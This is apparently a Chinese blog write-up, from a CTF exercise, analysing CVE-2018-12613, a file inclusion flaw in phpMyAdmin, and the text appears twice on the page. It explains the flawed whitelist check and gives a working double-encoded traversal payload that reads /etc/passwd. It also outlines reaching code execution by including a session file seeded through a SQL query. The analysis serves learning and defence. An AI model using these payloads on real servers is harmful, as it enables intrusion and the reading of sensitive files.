CVE-2018-12613一点理解
Ebounce
撰写于 2019年 07月 16 日

今天看了一下BUUCTF第一道题,就考了一道以前的CVE,现在越来越发现,赛事难度如果想要上去通常都是直接上出现过的漏洞,所以想了想还是准备做做CVE的代码审计吧.
这个洞是phpMyAdmin上面的任意文件包含漏洞,<!--more-->出现问题源码如下:

通过源码可以知道,需要让传入参数'target'被包含,需要满足以下条件:


  1. target值不为空

  2. taget值需要为字符

  3. taget参数字符开头不能出现index

  4. target传入参数不能是$target_blacklist里的值

  5. 需要经过Core类里的checkPageValidity方法校验


前面三个不需要多说,$target_blacklist里面的值只有'import.php','export.php'

也就是前面四步我们都是可以控制绕过的,然后就来看看checkPageValidity是怎样校验的,php源码如下:


    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

先来理理这个方法的作用,首先会校验白名单是否为空(),如果为空就调用自带的白名单,自带的白名单非常长,这里截取部分

-->判断$page是否存在且为字符串($page<=>$_REQUSET['target'])
-->判断$page的值是否在白名单内,然后为$page连接一个'?',并只截取开头至'?'的字符串
-->再次判断新的$page值是否在白名单里,在就结束该方法并返回真
-->进行一次url解码,再次连接'?',并截取$page开头至'?'部分的字符串
-->最后再判断一次是否$page在白名单内,在就结束返回真
大概就是这样的流程,接着来看payload
https://(你的Ip)/index.php?target=db_search.php%253f../../../../../../../../etc/passwd

敏感文件就已经被暴露出来了,接着我们再来分析一下这个过程经历了什么通过传入的payload可知,$_REQUEST['target']="db_search.php%253f../../../../../../../../etc/passwd"
直接经过传入时前三步的校验,来到了第四步
-->传入参数(下面用$page)指代
-->调用定义好的白名单
-->判断$page不为空,且是字符串,接着运行
-->判断当前$page值不在白名单内,接着运行,开始分割传入参数
-->分割后$page仍为'db_search.php%253f../../../../../../../../etc/passwd'
-->判断该值是否在白名单内,仍然不在,再进行下面一步
-->进行一次url解码,由于浏览器已经帮我们解了一次码,并且在这条语句中还被连接了一个'?',现在$page值为"db_search.php?../../../../../../../../etc/passwd?"
-->再次进行分割得到,$page值为"db_search.php"
-->在白名单内,返回真,该方法结束
(由于该方法只是判断,并没有改变传入的'target'的值)
-->此时target值仍为"db_search.php%253f../../../../../../../../etc/passwd"
-->调用include,由于传入payload构造原因db_search.php%253f被解析成为目录,然后一直往父级跳,最后将/etc/passwd包含进来,从而读取敏感文件.
最后是利用方法了,

  • 参考利用方法(高权限)

  • 参考P神payload

  • SELECT '<?=phpinfo()?>';

    然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可
    第二种方法



    --------------the end-------------------

    CVE-2018-12613一点理解

    今天看了一下BUUCTF第一道题,就考了一道以前的CVE,现在越来越发现,赛事难度如果想要上去通常都是直接上出现过的漏洞,所以想了想还是准备做做CVE的代码审计吧.
    这个洞是phpMyAdmin上面的任意文件包含漏洞,<!--more-->出现问题源码如下:

    通过源码可以知道,需要让传入参数'target'被包含,需要满足以下条件:


    1. target值不为空

    2. taget值需要为字符

    3. taget参数字符开头不能出现index

    4. target传入参数不能是$target_blacklist里的值

    5. 需要经过Core类里的checkPageValidity方法校验


    前面三个不需要多说,$target_blacklist里面的值只有'import.php','export.php'

    也就是前面四步我们都是可以控制绕过的,然后就来看看checkPageValidity是怎样校验的,php源码如下:

    
        public static function checkPageValidity(&$page, array $whitelist = [])
        {
            if (empty($whitelist)) {
                $whitelist = self::$goto_whitelist;
            }
            if (! isset($page) || !is_string($page)) {
                return false;
            }
    
            if (in_array($page, $whitelist)) {
                return true;
            }
    
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    
            return false;
        }

    先来理理这个方法的作用,首先会校验白名单是否为空(),如果为空就调用自带的白名单,自带的白名单非常长,这里截取部分

    -->判断$page是否存在且为字符串($page<=>$_REQUSET['target'])
    -->判断$page的值是否在白名单内,然后为$page连接一个'?',并只截取开头至'?'的字符串
    -->再次判断新的$page值是否在白名单里,在就结束该方法并返回真
    -->进行一次url解码,再次连接'?',并截取$page开头至'?'部分的字符串
    -->最后再判断一次是否$page在白名单内,在就结束返回真
    大概就是这样的流程,接着来看payload
    https://(你的Ip)/index.php?target=db_search.php%253f../../../../../../../../etc/passwd

    敏感文件就已经被暴露出来了,接着我们再来分析一下这个过程经历了什么通过传入的payload可知,$_REQUEST['target']="db_search.php%253f../../../../../../../../etc/passwd"
    直接经过传入时前三步的校验,来到了第四步
    -->传入参数(下面用$page)指代
    -->调用定义好的白名单
    -->判断$page不为空,且是字符串,接着运行
    -->判断当前$page值不在白名单内,接着运行,开始分割传入参数
    -->分割后$page仍为'db_search.php%253f../../../../../../../../etc/passwd'
    -->判断该值是否在白名单内,仍然不在,再进行下面一步
    -->进行一次url解码,由于浏览器已经帮我们解了一次码,并且在这条语句中还被连接了一个'?',现在$page值为"db_search.php?../../../../../../../../etc/passwd?"
    -->再次进行分割得到,$page值为"db_search.php"
    -->在白名单内,返回真,该方法结束
    (由于该方法只是判断,并没有改变传入的'target'的值)
    -->此时target值仍为"db_search.php%253f../../../../../../../../etc/passwd"
    -->调用include,由于传入payload构造原因db_search.php%253f被解析成为目录,然后一直往父级跳,最后将/etc/passwd包含进来,从而读取敏感文件.
    最后是利用方法了,

  • 参考利用方法(高权限)

  • 参考P神payload

  • SELECT '<?=phpinfo()?>';

    然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可
    第二种方法



    --------------the end-------------------

    评论区(暂无评论)

    这里空空如也,快来评论吧~

    我要评论